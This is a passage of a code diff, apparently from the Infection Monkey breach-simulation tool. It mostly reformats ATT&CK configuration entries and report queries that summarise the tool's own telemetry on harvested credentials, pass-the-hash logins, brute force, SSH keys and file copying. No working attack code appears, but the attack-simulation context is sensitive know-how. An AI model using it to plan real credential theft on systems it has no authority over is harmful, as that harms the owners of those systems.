"value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1090", + "description":"A connection proxy is used to direct network traffic between " + "systems " + "or act as an intermediary for network communications.", + }, + "T1065":{ + "title":"Uncommonly used port", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1065", + "description":"Adversaries may conduct C2 communications over a non-standard " + "port to bypass proxies and firewalls that have been improperly " + "configured.", + }, + "T1188":{ + "title":"Multi-hop proxy", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1188", + "description":"To disguise the source of malicious traffic, " + "adversaries may chain together multiple proxies.", }, }, }, - "exfiltration": { - "title": "Exfiltration", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0010/", - "properties": { - "T1041": { - "title": "Exfiltration Over Command and Control Channel", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1041", - "description": "Data exfiltration is performed over the Command and Control channel.", + "exfiltration":{ + "title":"Exfiltration", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0010/", + "properties":{ + "T1041":{ + "title":"Exfiltration Over Command and Control Channel", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1041", + "description":"Data exfiltration is performed over the Command and Control " + "channel.", } }, }, diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py index fa0707b41f6..75412cd23c3 100644 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -4,7 +4,6 @@ class MitreApiInterface: - ATTACK_DATA_PATH = "monkey_island/cc/services/attack/attack_data/enterprise-attack" @staticmethod @@ -12,7 +11,7 @@ def get_all_mitigations() -> Dict[str, CourseOfAction]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) mitigation_filter = [Filter("type", "=", "course-of-action")] all_mitigations = file_system.query(mitigation_filter) - all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations} + all_mitigations = {mitigation["id"]:mitigation for mitigation in all_mitigations} return all_mitigations @staticmethod @@ -20,7 +19,7 @@ def get_all_attack_techniques() -> Dict[str, AttackPattern]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) technique_filter = [Filter("type", "=", "attack-pattern")] all_techniques = file_system.query(technique_filter) - all_techniques = {technique["id"]: technique for technique in all_techniques} + all_techniques = {technique["id"]:technique for technique in all_techniques} return all_techniques @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index 0bf2e649b81..bcd4808e5fa 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -8,24 +8,27 @@ class T1003(AttackTechnique): tech_id = "T1003" - unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." + unscanned_msg = ( + "Monkey tried to obtain credentials from systems in the network but didn't " + "find any or failed." + ) scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." query = { - "$or": [ + "$or":[ { - "telem_category": "system_info", - "$and": [ - {"data.credentials": {"$exists": True}}, - {"data.credentials": {"$gt": {}}}, + "telem_category":"system_info", + "$and":[ + {"data.credentials":{"$exists":True}}, + {"data.credentials":{"$gt":{}}}, ], }, # $gt: {} checks if field is not an empty object { - "telem_category": "exploit", - "$and": [ - {"data.info.credentials": {"$exists": True}}, - {"data.info.credentials": {"$gt": {}}}, + "telem_category":"exploit", + "$and":[ + {"data.info.credentials":{"$exists":True}}, + {"data.info.credentials":{"$gt":{}}}, ], }, ] @@ -41,7 +44,7 @@ def get_technique_status_and_data(): status = ScanStatus.UNSCANNED.value return (status, []) - data = {"title": T1003.technique_title()} + data = {"title":T1003.technique_title()} status, _ = get_technique_status_and_data() data.update(T1003.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index 83d4bc3b6d3..74cfb6ac646 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -11,44 +11,44 @@ class T1005(AttackTechnique): used_msg = "Monkey successfully gathered sensitive data from local system." query = [ - {"$match": {"telem_category": "attack", "data.technique": tech_id}}, + {"$match":{"telem_category":"attack", "data.technique":tech_id}}, { - "$lookup": { - "from": "monkey", - "localField": "monkey_guid", - "foreignField": "guid", - "as": "monkey", + "$lookup":{ + "from":"monkey", + "localField":"monkey_guid", + "foreignField":"guid", + "as":"monkey", } }, { - "$project": { - "monkey": {"$arrayElemAt": ["$monkey", 0]}, - "status": "$data.status", - "gathered_data_type": "$data.gathered_data_type", - "info": "$data.info", + "$project":{ + "monkey":{"$arrayElemAt":["$monkey", 0]}, + "status":"$data.status", + "gathered_data_type":"$data.gathered_data_type", + "info":"$data.info", } }, { - "$addFields": { - "_id": 0, - "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, - "monkey": 0, + "$addFields":{ + "_id":0, + "machine":{"hostname":"$monkey.hostname", "ips":"$monkey.ip_addresses"}, + "monkey":0, } }, { - "$group": { - "_id": { - "machine": "$machine", - "gathered_data_type": "$gathered_data_type", - "info": "$info", + "$group":{ + "_id":{ + "machine":"$machine", + "gathered_data_type":"$gathered_data_type", + "info":"$info", } } }, - {"$replaceRoot": {"newRoot": "$_id"}}, + {"$replaceRoot":{"newRoot":"$_id"}}, ] @staticmethod def get_report_data(): data = T1005.get_tech_base_data() - data.update({"collected_data": list(mongo.db.telemetry.aggregate(T1005.query))}) + data.update({"collected_data":list(mongo.db.telemetry.aggregate(T1005.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 594c593d52f..627878f9101 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -12,31 +12,31 @@ class T1016(AttackTechnique): used_msg = "Monkey gathered network configurations on systems in the network." query = [ - {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, + {"$match":{"telem_category":"system_info", "data.network_info":{"$exists":True}}}, { - "$project": { - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "networks": "$data.network_info.networks", - "netstat": "$data.network_info.netstat", + "$project":{ + "machine":{"hostname":"$data.hostname", "ips":"$data.network_info.networks"}, + "networks":"$data.network_info.networks", + "netstat":"$data.network_info.netstat", } }, { - "$addFields": { - "_id": 0, - "netstat": 0, - "networks": 0, - "info": [ + "$addFields":{ + "_id":0, + "netstat":0, + "networks":0, + "info":[ { - "used": { - "$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$netstat", {}]}] + "used":{ + "$and":[{"$ifNull":["$netstat", False]}, {"$gt":["$netstat", {}]}] }, - "name": {"$literal": "Network connections (netstat)"}, + "name":{"$literal":"Network connections (netstat)"}, }, { - "used": { - "$and": [{"$ifNull": ["$networks", False]}, {"$gt": ["$networks", {}]}] + "used":{ + "$and":[{"$ifNull":["$networks", False]}, {"$gt":["$networks", {}]}] }, - "name": {"$literal": "Network interface info"}, + "name":{"$literal":"Network interface info"}, }, ], } @@ -54,5 +54,5 @@ def get_technique_status_and_data(): status, network_info = get_technique_status_and_data() data = T1016.get_base_data_by_status(status) - data.update({"network_info": network_info}) + data.update({"network_info":network_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py index 500a1a32566..c4605542ed8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -12,29 +12,29 @@ class T1018(AttackTechnique): used_msg = "Monkey found machines on the network." query = [ - {"$match": {"telem_category": "scan"}}, - {"$sort": {"timestamp": 1}}, + {"$match":{"telem_category":"scan"}}, + {"$sort":{"timestamp":1}}, { - "$group": { - "_id": {"monkey_guid": "$monkey_guid"}, - "machines": {"$addToSet": "$data.machine"}, - "started": {"$first": "$timestamp"}, - "finished": {"$last": "$timestamp"}, + "$group":{ + "_id":{"monkey_guid":"$monkey_guid"}, + "machines":{"$addToSet":"$data.machine"}, + "started":{"$first":"$timestamp"}, + "finished":{"$last":"$timestamp"}, } }, { - "$lookup": { - "from": "monkey", - "localField": "_id.monkey_guid", - "foreignField": "guid", - "as": "monkey_tmp", + "$lookup":{ + "from":"monkey", + "localField":"_id.monkey_guid", + "foreignField":"guid", + "as":"monkey_tmp", } }, - {"$addFields": {"_id": 0, "monkey_tmp": {"$arrayElemAt": ["$monkey_tmp", 0]}}}, + {"$addFields":{"_id":0, "monkey_tmp":{"$arrayElemAt":["$monkey_tmp", 0]}}}, { - "$addFields": { - "monkey": {"hostname": "$monkey_tmp.hostname", "ips": "$monkey_tmp.ip_addresses"}, - "monkey_tmp": 0, + "$addFields":{ + "monkey":{"hostname":"$monkey_tmp.hostname", "ips":"$monkey_tmp.ip_addresses"}, + "monkey_tmp":0, } }, ] @@ -53,5 +53,5 @@ def get_technique_status_and_data(): status, scan_info = get_technique_status_and_data() data = T1018.get_base_data_by_status(status) - data.update({"scan_info": scan_info}) + data.update({"scan_info":scan_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 9fe32b4d54b..5e13ba6de8a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -14,25 +14,25 @@ class T1021(AttackTechnique): # Gets data about brute force attempts query = [ - {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, + {"$match":{"telem_category":"exploit", "data.attempts":{"$not":{"$size":0}}}}, { - "$project": { - "_id": 0, - "machine": "$data.machine", - "info": "$data.info", - "attempt_cnt": {"$size": "$data.attempts"}, - "attempts": { - "$filter": { - "input": "$data.attempts", - "as": "attempt", - "cond": {"$eq": ["$$attempt.result", True]}, + "$project":{ + "_id":0, + "machine":"$data.machine", + "info":"$data.info", + "attempt_cnt":{"$size":"$data.attempts"}, + "attempts":{ + "$filter":{ + "input":"$data.attempts", + "as":"attempt", + "cond":{"$eq":["$$attempt.result", True]}, } }, } }, ] - scanned_query = {"telem_category": "exploit", "data.attempts": {"$elemMatch": {"result": True}}} + scanned_query = {"telem_category":"exploit", "data.attempts":{"$elemMatch":{"result":True}}} @staticmethod def get_report_data(): @@ -56,5 +56,5 @@ def get_technique_status_and_data(): status, attempts = get_technique_status_and_data() data = T1021.get_base_data_by_status(status) - data.update({"services": attempts}) + data.update({"services":attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index d11a74b3118..38c27a47ef3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -5,12 +5,15 @@ class T1035(UsageTechnique): tech_id = "T1035" - unscanned_msg = "Monkey didn't try to interact with Windows services since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to interact with Windows services since it didn't run on " + "any Windows machines." + ) scanned_msg = "Monkey tried to interact with Windows services, but failed." used_msg = "Monkey successfully interacted with Windows services." @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({"services": T1035.get_usage_data()}) + data.update({"services":T1035.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index 262c1820422..d026c618ace 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -18,8 +18,8 @@ def get_technique_status_and_data(): monkeys = list(Monkey.objects()) info = [ { - "src": monkey["command_control_channel"]["src"], - "dst": monkey["command_control_channel"]["dst"], + "src":monkey["command_control_channel"]["src"], + "dst":monkey["command_control_channel"]["dst"], } for monkey in monkeys if monkey["command_control_channel"] @@ -33,5 +33,5 @@ def get_technique_status_and_data(): status, info = get_technique_status_and_data() data = T1041.get_base_data_by_status(status) - data.update({"command_control_channel": info}) + data.update({"command_control_channel":info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index dc97ef85b91..889897f7ca1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -13,16 +13,16 @@ class T1059(AttackTechnique): query = [ { - "$match": { - "telem_category": "exploit", - "data.info.executed_cmds": {"$exists": True, "$ne": []}, + "$match":{ + "telem_category":"exploit", + "data.info.executed_cmds":{"$exists":True, "$ne":[]}, } }, - {"$unwind": "$data.info.executed_cmds"}, - {"$sort": {"data.info.executed_cmds.powershell": 1}}, - {"$project": {"_id": 0, "machine": "$data.machine", "info": "$data.info"}}, - {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, - {"$project": {"_id": 0, "data": {"$arrayElemAt": ["$data", 0]}}}, + {"$unwind":"$data.info.executed_cmds"}, + {"$sort":{"data.info.executed_cmds.powershell":1}}, + {"$project":{"_id":0, "machine":"$data.machine", "info":"$data.info"}}, + {"$group":{"_id":"$machine", "data":{"$push":"$$ROOT"}}}, + {"$project":{"_id":0, "data":{"$arrayElemAt":["$data", 0]}}}, ] @staticmethod @@ -37,7 +37,7 @@ def get_technique_status_and_data(): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {"title": T1059.technique_title(), "cmds": cmd_data} + data = {"title":T1059.technique_title(), "cmds":cmd_data} data.update(T1059.get_message_and_status(status)) data.update(T1059.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 1ca2ba62e77..4e048e3c4a0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -14,5 +14,5 @@ class T1064(UsageTechnique): def get_report_data(): data = T1064.get_tech_base_data() script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) - data.update({"scripts": script_usages}) + data.update({"scripts":script_usages}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 36c409531b9..e0e2f0f7787 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -14,38 +14,38 @@ class T1075(AttackTechnique): used_msg = "Monkey successfully used hashed credentials." login_attempt_query = { - "data.attempts": { - "$elemMatch": {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]} + "data.attempts":{ + "$elemMatch":{"$or":[{"ntlm_hash":{"$ne":""}}, {"lm_hash":{"$ne":""}}]} } } # Gets data about successful PTH logins query = [ { - "$match": { - "telem_category": "exploit", - "data.attempts": { - "$not": {"$size": 0}, - "$elemMatch": { - "$and": [ - {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]}, - {"result": True}, + "$match":{ + "telem_category":"exploit", + "data.attempts":{ + "$not":{"$size":0}, + "$elemMatch":{ + "$and":[ + {"$or":[{"ntlm_hash":{"$ne":""}}, {"lm_hash":{"$ne":""}}]}, + {"result":True}, ] }, }, } }, { - "$project": { - "_id": 0, - "machine": "$data.machine", - "info": "$data.info", - "attempt_cnt": {"$size": "$data.attempts"}, - "attempts": { - "$filter": { - "input": "$data.attempts", - "as": "attempt", - "cond": {"$eq": ["$$attempt.result", True]}, + "$project":{ + "_id":0, + "machine":"$data.machine", + "info":"$data.info", + "attempt_cnt":{"$size":"$data.attempts"}, + "attempts":{ + "$filter":{ + "input":"$data.attempts", + "as":"attempt", + "cond":{"$eq":["$$attempt.result", True]}, } }, } @@ -66,8 +66,8 @@ def get_technique_status_and_data(): return (status, successful_logins) status, successful_logins = get_technique_status_and_data() - data = {"title": T1075.technique_title()} - data.update({"successful_logins": successful_logins}) + data = {"title":T1075.technique_title()} + data.update({"successful_logins":successful_logins}) data.update(T1075.get_message_and_status(status)) data.update(T1075.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 7025a658ce4..64e154797e6 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -12,61 +12,61 @@ class T1082(AttackTechnique): used_msg = "Monkey gathered system info from machines in the network." query = [ - {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, + {"$match":{"telem_category":"system_info", "data.network_info":{"$exists":True}}}, { - "$project": { - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "aws": "$data.aws", - "netstat": "$data.network_info.netstat", - "process_list": "$data.process_list", - "ssh_info": "$data.ssh_info", - "azure_info": "$data.Azure", + "$project":{ + "machine":{"hostname":"$data.hostname", "ips":"$data.network_info.networks"}, + "aws":"$data.aws", + "netstat":"$data.network_info.netstat", + "process_list":"$data.process_list", + "ssh_info":"$data.ssh_info", + "azure_info":"$data.Azure", } }, { - "$project": { - "_id": 0, - "machine": 1, - "collections": [ + "$project":{ + "_id":0, + "machine":1, + "collections":[ { - "used": {"$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$aws", {}]}]}, - "name": {"$literal": "Amazon Web Services info"}, + "used":{"$and":[{"$ifNull":["$netstat", False]}, {"$gt":["$aws", {}]}]}, + "name":{"$literal":"Amazon Web Services info"}, }, { - "used": { - "$and": [ - {"$ifNull": ["$process_list", False]}, - {"$gt": ["$process_list", {}]}, + "used":{ + "$and":[ + {"$ifNull":["$process_list", False]}, + {"$gt":["$process_list", {}]}, ] }, - "name": {"$literal": "Running process list"}, + "name":{"$literal":"Running process list"}, }, { - "used": { - "$and": [{"$ifNull": ["$netstat", False]}, {"$ne": ["$netstat", []]}] + "used":{ + "$and":[{"$ifNull":["$netstat", False]}, {"$ne":["$netstat", []]}] }, - "name": {"$literal": "Network connections"}, + "name":{"$literal":"Network connections"}, }, { - "used": { - "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}] + "used":{ + "$and":[{"$ifNull":["$ssh_info", False]}, {"$ne":["$ssh_info", []]}] }, - "name": {"$literal": "SSH info"}, + "name":{"$literal":"SSH info"}, }, { - "used": { - "$and": [ - {"$ifNull": ["$azure_info", False]}, - {"$ne": ["$azure_info", []]}, + "used":{ + "$and":[ + {"$ifNull":["$azure_info", False]}, + {"$ne":["$azure_info", []]}, ] }, - "name": {"$literal": "Azure info"}, + "name":{"$literal":"Azure info"}, }, ], } }, - {"$group": {"_id": {"machine": "$machine", "collections": "$collections"}}}, - {"$replaceRoot": {"newRoot": "$_id"}}, + {"$group":{"_id":{"machine":"$machine", "collections":"$collections"}}}, + {"$replaceRoot":{"newRoot":"$_id"}}, ] @staticmethod @@ -81,8 +81,8 @@ def get_technique_status_and_data(): return (status, system_info) status, system_info = get_technique_status_and_data() - data = {"title": T1082.technique_title()} - data.update({"system_info": system_info}) + data = {"title":T1082.technique_title()} + data.update({"system_info":system_info}) data.update(T1082.get_mitigation_by_status(status)) data.update(T1082.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index d034d531601..439aa6d2a8f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -13,27 +13,27 @@ class T1086(AttackTechnique): query = [ { - "$match": { - "telem_category": "exploit", - "data.info.executed_cmds": {"$elemMatch": {"powershell": True}}, + "$match":{ + "telem_category":"exploit", + "data.info.executed_cmds":{"$elemMatch":{"powershell":True}}, } }, - {"$project": {"machine": "$data.machine", "info": "$data.info"}}, + {"$project":{"machine":"$data.machine", "info":"$data.info"}}, { - "$project": { - "_id": 0, - "machine": 1, - "info.finished": 1, - "info.executed_cmds": { - "$filter": { - "input": "$info.executed_cmds", - "as": "command", - "cond": {"$eq": ["$$command.powershell", True]}, + "$project":{ + "_id":0, + "machine":1, + "info.finished":1, + "info.executed_cmds":{ + "$filter":{ + "input":"$info.executed_cmds", + "as":"command", + "cond":{"$eq":["$$command.powershell", True]}, } }, } }, - {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, + {"$group":{"_id":"$machine", "data":{"$push":"$$ROOT"}}}, ] @staticmethod @@ -48,7 +48,7 @@ def get_technique_status_and_data(): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {"title": T1086.technique_title(), "cmds": cmd_data} + data = {"title":T1086.technique_title(), "cmds":cmd_data} data.update(T1086.get_mitigation_by_status(status)) data.update(T1086.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index 66078e0d073..ea5fef31871 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -23,5 +23,5 @@ def get_technique_status_and_data(): status, monkeys = get_technique_status_and_data() data = T1090.get_base_data_by_status(status) - data.update({"proxies": monkeys}) + data.update({"proxies":monkeys}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index edcca2c2df9..2a5624d11f9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -11,21 +11,21 @@ class T1105(AttackTechnique): used_msg = "Monkey successfully copied files to systems on the network." query = [ - {"$match": {"telem_category": "attack", "data.technique": tech_id}}, + {"$match":{"telem_category":"attack", "data.technique":tech_id}}, { - "$project": { - "_id": 0, - "src": "$data.src", - "dst": "$data.dst", - "filename": "$data.filename", + "$project":{ + "_id":0, + "src":"$data.src", + "dst":"$data.dst", + "filename":"$data.filename", } }, - {"$group": {"_id": {"src": "$src", "dst": "$dst", "filename": "$filename"}}}, - {"$replaceRoot": {"newRoot": "$_id"}}, + {"$group":{"_id":{"src":"$src", "dst":"$dst", "filename":"$filename"}}}, + {"$replaceRoot":{"newRoot":"$_id"}}, ] @staticmethod def get_report_data(): data = T1105.get_tech_base_data() - data.update({"files": list(mongo.db.telemetry.aggregate(T1105.query))}) + data.update({"files":list(mongo.db.telemetry.aggregate(T1105.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index 0dfc749cc66..52708a76c2e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -12,5 +12,5 @@ class T1106(UsageTechnique): @staticmethod def get_report_data(): data = T1106.get_tech_base_data() - data.update({"api_uses": T1106.get_usage_data()}) + data.update({"api_uses":T1106.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py index 18f3a047ba7..83cf6cccb89 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -11,35 +11,35 @@ class T1107(AttackTechnique): used_msg = "Monkey successfully deleted files on systems in the network." query = [ - {"$match": {"telem_category": "attack", "data.technique": "T1107"}}, + {"$match":{"telem_category":"attack", "data.technique":"T1107"}}, { - "$lookup": { - "from": "monkey", - "localField": "monkey_guid", - "foreignField": "guid", - "as": "monkey", + "$lookup":{ + "from":"monkey", + "localField":"monkey_guid", + "foreignField":"guid", + "as":"monkey", } }, { - "$project": { - "monkey": {"$arrayElemAt": ["$monkey", 0]}, - "status": "$data.status", - "path": "$data.path", + "$project":{ + "monkey":{"$arrayElemAt":["$monkey", 0]}, + "status":"$data.status", + "path":"$data.path", } }, { - "$addFields": { - "_id": 0, - "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, - "monkey": 0, + "$addFields":{ + "_id":0, + "machine":{"hostname":"$monkey.hostname", "ips":"$monkey.ip_addresses"}, + "monkey":0, } }, - {"$group": {"_id": {"machine": "$machine", "status": "$status", "path": "$path"}}}, + {"$group":{"_id":{"machine":"$machine", "status":"$status", "path":"$path"}}}, ] @staticmethod def get_report_data(): data = T1107.get_tech_base_data() deleted_files = list(mongo.db.telemetry.aggregate(T1107.query)) - data.update({"deleted_files": deleted_files}) + data.update({"deleted_files":deleted_files}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 118371ac592..cbdf7b68391 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -14,18 +14,18 @@ class T1110(AttackTechnique): # Gets data about brute force attempts query = [ - {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, + {"$match":{"telem_category":"exploit", "data.attempts":{"$not":{"$size":0}}}}, { - "$project": { - "_id": 0, - "machine": "$data.machine", - "info": "$data.info", - "attempt_cnt": {"$size": "$data.attempts"}, - "attempts": { - "$filter": { - "input": "$data.attempts", - "as": "attempt", - "cond": {"$eq": ["$$attempt.result", True]}, + "$project":{ + "_id":0, + "machine":"$data.machine", + "info":"$data.info", + "attempt_cnt":{"$size":"$data.attempts"}, + "attempts":{ + "$filter":{ + "input":"$data.attempts", + "as":"attempt", + "cond":{"$eq":["$$attempt.result", True]}, } }, } @@ -59,5 +59,5 @@ def get_technique_status_and_data(): # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt["attempts"]] - data.update({"services": attempts}) + data.update({"services":attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index e0d079d7e9a..136a55a4eb9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -14,5 +14,5 @@ class T1129(UsageTechnique): @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - data.update({"dlls": T1129.get_usage_data()}) + data.update({"dlls":T1129.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 82dccf6399b..4a8be918e40 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -14,16 +14,16 @@ class T1145(AttackTechnique): # Gets data about ssh keys found query = [ { - "$match": { - "telem_category": "system_info", - "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}}, + "$match":{ + "telem_category":"system_info", + "data.ssh_info":{"$elemMatch":{"private_key":{"$exists":True}}}, } }, { - "$project": { - "_id": 0, - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "ssh_info": "$data.ssh_info", + "$project":{ + "_id":0, + "machine":{"hostname":"$data.hostname", "ips":"$data.network_info.networks"}, + "ssh_info":"$data.ssh_info", } }, ] @@ -42,5 +42,5 @@ def get_technique_status_and_data(): status, ssh_info = get_technique_status_and_data() data = T1145.get_base_data_by_status(status) - data.update({"ssh_info": ssh_info}) + data.update({"ssh_info":ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index 9391e52e94c..6504e7cff7a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -17,19 +17,19 @@ class T1146(PostBreachTechnique): def get_pba_query(*args): return [ { - "$match": { - "telem_category": "post_breach", - "data.name": POST_BREACH_CLEAR_CMD_HISTORY, + "$match":{ + "telem_category":"post_breach", + "data.name":POST_BREACH_CLEAR_CMD_HISTORY, } }, { - "$project": { - "_id": 0, - "machine": { - "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, - "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + "$project":{ + "_id":0, + "machine":{ + "hostname":{"$arrayElemAt":["$data.hostname", 0]}, + "ips":[{"$arrayElemAt":["$data.ip", 0]}], }, - "result": "$data.result", + "result":"$data.result", } }, ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index abd32f78fca..19af84ffded 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -17,25 +17,25 @@ class T1156(PostBreachTechnique): def get_pba_query(*args): return [ { - "$match": { - "telem_category": "post_breach", - "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + "$match":{ + "telem_category":"post_breach", + "data.name":POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, } }, { - "$project": { - "_id": 0, - "machine": { - "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, - "ips": 